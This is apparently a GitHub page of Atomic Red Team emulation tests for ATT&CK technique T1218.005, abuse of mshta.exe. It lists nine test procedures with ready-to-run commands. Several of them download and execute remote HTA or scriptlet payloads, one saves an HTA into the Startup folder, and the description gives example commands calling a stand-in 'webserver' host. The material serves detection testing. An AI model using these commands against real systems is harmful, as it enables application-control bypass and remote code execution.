Skip to content

Latest commit

 

History

History
390 lines (219 loc) · 12.3 KB

T1218.005.md

File metadata and controls

390 lines (219 loc) · 12.3 KB
Raw

T1218.005 - Mshta

Description from ATT&CK

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Atomic Tests


Atomic Test #1 - Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject

Test execution of a remote script using mshta.exe. Upon execution calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
file_url location of the payload Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct

Attack Commands: Run with command_prompt!

mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();


Atomic Test #2 - Mshta executes VBScript to execute malicious command

Run a local VB script to run local user enumeration powershell command. This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems. Upon execution, a new PowerShell windows will be opened that displays user information.

Supported Platforms: Windows

Attack Commands: Run with command_prompt!

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")


Atomic Test #3 - Mshta Executes Remote HTML Application (HTA)

Execute an arbitrary remote HTA. Upon execution calc.exe will be launched.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
temp_file temp_file location for hta string $env:appdata\Microsoft\Windows\Start Menu\Programs\Startup\T1218.005.hta
hta_url URL to HTA file for execution string https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta

Attack Commands: Run with powershell!

$var =Invoke-WebRequest "#{hta_url}"
$var.content|out-file "#{temp_file}"
mshta "#{temp_file}"

Cleanup Commands:

remove-item "#{temp_file}" -ErrorAction Ignore


Atomic Test #4 - Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement

Executes an HTA Application using JScript script engine using local UNC path simulating lateral movement.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
script_engine Script Engine to use string JScript
hta_file_path HTA file name and or path to be used string Test.hta
mshta_file_path Location of mshta.exe string $env:windir\system32\mshta.exe

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath #{mshta_file_path}

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #5 - Invoke HTML Application - Jscript Engine Simulating Double Click

Executes an HTA Application using JScript script engine simulating double click.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
script_engine Script Engine to use string JScript
hta_file_path HTA file name and or path to be used string Test.hta

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine #{script_engine} -SimulateUserDoubleClick

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #6 - Invoke HTML Application - Direct download from URI

Executes an HTA Application by directly downloading from remote URI.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
mshta_file_path Location of mshta.exe string $env:windir\system32\mshta.exe
hta_uri URI to HTA string https://raw.githubusercontent.com/redcanaryco/atomic-red-team/24549e3866407c3080b95b6afebf78e8acd23352/atomics/T1218.005/src/T1218.005.hta

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler

Executes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
rundll32_file_path Location of rundll32.exe string $env:windir\system32\rundll32.exe
script_engine Script Engine to use string JScript
protocol_handler Protocol Handler to use string About

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #8 - Invoke HTML Application - JScript Engine with Inline Protocol Handler

Executes an HTA Application with JScript Engine and Inline Protocol Handler.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
mshta_file_path Location of mshta.exe string $env:windir\system32\mshta.exe
script_engine Script Engine to use string JScript
protocol_handler Protocol Handler to use string About

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler #{protocol_handler} -MSHTAFilePath #{mshta_file_path}

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force


Atomic Test #9 - Invoke HTML Application - Simulate Lateral Movement over UNC Path

Executes an HTA Application with Simulate lateral movement over UNC Path.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
mshta_file_path Location of mshta.exe string $env:windir\system32\mshta.exe

Attack Commands: Run with powershell!

Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath #{mshta_file_path}

Dependencies: Run with powershell!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.
Check Prereq Commands:
$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
Get Prereq Commands:
Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force